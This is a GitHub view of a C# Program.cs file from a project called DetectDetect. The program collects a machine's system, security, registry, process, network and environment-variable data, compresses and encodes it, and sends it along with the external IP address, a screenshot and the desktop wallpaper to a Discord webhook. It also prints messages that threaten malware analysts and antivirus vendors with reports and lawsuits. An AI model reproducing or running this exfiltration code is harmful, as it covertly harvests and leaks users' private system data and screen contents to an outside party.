- Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathProgram.cs
More file actions
Latest commit
59 lines (54 loc) · 2.47 KB
/
Copy pathProgram.cs
File metadata and controls
59 lines (54 loc) · 2.47 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
usingDetectDetect.WMICore;
usingSystem;
usingSystem.Collections.Generic;
usingSystem.Linq;
usingSystem.Net.Http;
usingSystem.Text;
usingSystem.Threading.Tasks;
usingSystem.Windows.Forms;
usingSystem.IO;
usingSystem.Net;
usingDetectDetect.Utils;
usingDetectDetect.Native;
usingSystem.Runtime.InteropServices;
usingDetectDetect.Info;
usingSystem.Threading;
usingstaticSystem.Net.WebRequestMethods;
usingSystem.Drawing;
usingDetectDetect.Reporter;
usingSystem.Diagnostics;
usingSystem.IO.Compression;
usingDetectDetect.Discord;
namespaceDetectDetect{
internalclassProgram{
publicstaticstringTAG="Test-V3";
publicstaticstringWEBHOOK="HOOK";
publicstaticstringSESSION_ID=Guid.NewGuid().ToString();
staticvoidMain(string[]args){
varhook=newDiscordWebHook(WEBHOOK,TAG,SESSION_ID);
Console.WriteLine("Hey there Anaysis I detected your environment ObbedCode. I advise you to stop reversing this, this is a trademarked software that can and will detect any VM. Further analysis of code will result in court battles");
varwriter=newReportWriter()
.WriteSystemInfoCommand()
.WriteBasicInfo()
.WriteSecurity()
.WriteFilesReport()
.WriteWmiTests()
.WriteReportsWmi()
.WriteNetCards()
.WriteRegReport()
.WriteProcesses()
.WriteEnvironmentVariables()
.WriteSystemInformationClass()
.Wait();
//.WriteSystemInfoCommand()
//.WriteSystemInformationClass()
hook.SendTextDocument(ZipUtils.Zip(Convert.ToBase64String(Encoding.UTF8.GetBytes(writer.ToString()))),$"Test-{hook.GetID()}.txt",$"New Tests v8 [{hook.GetID()}] IP [{NetUtils.GetExternalIPAddress()}] DATE: {DateTime.Now}").Wait();
newThread(()=>{Win32.USER32.Invoke<int>("MessageBox",0,"Stop Looking at this you were warned now I am reporting you","Stop",0);}).Start();
Console.WriteLine("You are being reported to ObbedCode's Channel this is your final warning CrowdStrike or VT etc");
hook.SendImagePNG(WallpaperUtils.CaptureScreenshot(),"Screenshot.png",$"Screenshot! [{hook.GetID()}]").Wait();
hook.SendImagePNG(WallpaperUtils.GetWallpaper(),$"Wallpaper! [{hook.GetID()}]").Wait();
Console.ReadLine();
Console.ReadLine();
}
}
}